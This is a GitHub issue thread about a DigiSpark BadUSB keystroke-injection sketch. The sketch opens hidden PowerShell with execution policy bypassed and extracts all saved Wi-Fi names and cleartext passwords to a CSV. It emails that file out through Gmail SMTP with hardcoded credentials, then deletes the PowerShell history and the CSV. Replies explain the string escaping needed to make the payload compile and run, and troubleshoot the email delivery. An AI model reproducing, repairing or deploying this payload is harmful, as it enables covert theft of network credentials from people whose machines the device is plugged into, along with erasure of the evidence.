CedArctic/DigiSpark-Scripts

own code

Opened this issue · 3 comments

#include "DigiKeyboard.h"
void setup() {
}

void loop() {
DigiKeyboard.sendKeyStroke(0);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("cmd");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("MODE 20,1");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print("COLOR EF");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass "(netsh wlan show profiles) | Select-String ':(.+)$' | %{$name=$.Matches.Groups[1].Value.Trim(); $} | %{(netsh wlan show profile name=$name key=clear)} | Select-String 'Key Content\W+:(.+)$' | %{$pass=$.Matches.Groups[1].Value.Trim(); $} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Export-Csv temp.csv""));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(3000);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("cmd");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("MODE 20,1");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print("COLOR EF");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass "$SMTPInfo = New-Object Net.Mail.SmtpClient('smtp.gmail.com', 587); $SMTPInfo.EnableSsl = $true; $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('jakubsvab2004', 'mypasswordhaha'); $ReportEmail = New-Object System.Net.Mail.MailMessage; $ReportEmail.From = 'jakubsvab2004@gmail.com'; $ReportEmail.To.Add('jakubsvab2004@gmail.com'); $ReportEmail.Subject = 'DigiSpark Report'; $ReportEmail.Body = 'K Emailu přidán soubor s údajemy.'; $ReportEmail.Attachments.Add('temp.csv'); $SMTPInfo.Send($ReportEmail)""));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("cmd");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("MODE 20,1");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print("COLOR EF");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass "del (Get-PSReadlineOption).HistorySavePath""));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(500);
DigiKeyboard.print("cmd");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(500);
DigiKeyboard.print("MODE 20,1");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print("COLOR EF");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print(F("del temp.csv"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print(F("exit"));
DigiKeyboard.sendKeyStroke(KEY_ENTER);
for(;;){ /empty/ }
}

i made this script. Its same like wifi profile mailer but i changed saving wifi password and SSID bcs original version dont save it. But this dont workk. when i try to uload it says : stray '$' in program.
what should i do?

when i try save password it works but email dont work

Hi @kubikjepp, the problem is that you are not using escape sequences.
For example in:
DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass "(netsh wlan show profiles)
this should be
DigiKeyboard.print(F("powershell -NoP -NonI -W Hidden -Exec Bypass \"(netsh wlan show profiles)
The current version of WiFi_Profile_Mailer should be working just fine.
@CedArctic I think that this issue can be closed.

okay, i tried to upload original wifi profile mailer, but it dont send email. and i cant find file temp.csv
can u help?

@kubikjepp sorry for the late reply, the notification must've escaped me. @Michyus is right, you need to use escape sequences. The reason you probably can't find the temp.csv file is because the script deletes it before it exits - see line: DigiKeyboard.print(F("del temp.csv"));. You might have issues with your email provider e.g: Google requires that you turn off some security features etc. Take a look into these things and if issues persist post back here. In the mean time I am closing this issue.